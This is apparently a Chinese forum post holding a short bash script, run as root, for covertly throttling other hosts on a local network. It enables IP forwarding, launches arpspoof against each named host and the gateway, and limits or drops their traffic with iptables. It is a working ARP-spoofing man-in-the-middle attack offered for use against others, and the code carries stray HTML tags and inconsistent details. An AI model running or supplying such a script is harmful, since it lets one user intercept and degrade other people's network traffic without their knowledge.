代码: 全选
echo "1" > /proc/sys/net/ipv4/ip_forward
代码: 全选
#!/bin/bash
if [ $# -le 2 ]
then
echo "Usage: ./iptables.sh speed gateway ip1 ip2 ...."
exit -1
else
speed=$1
gateway=$2
fi
IPT=/sbin/iptables</p> <p>while [ $# -gt 2 ]
do
shift
echo $gateway,$2
arpspoof -i wlan0 -t $2 $gateway&
arpspoof -i wlan0 -t $gateway $2&</p> <p> $IPT -A FORWARD -s $2 -m limit --limit ${speed}/s -j accept</p> <p> $IPT -A FORWARD -d $2 -m limit --limit ${speed}/s -j ACCEPT</p> <p> $IPT -A FORWARD -s $2 -j DROP</p> <p> $IPT -A FORWARD -d $2 -j DROP</p> <p>done
sudo ./iptable.sh 要限的速度 网关ip 限速主机1 限速主机2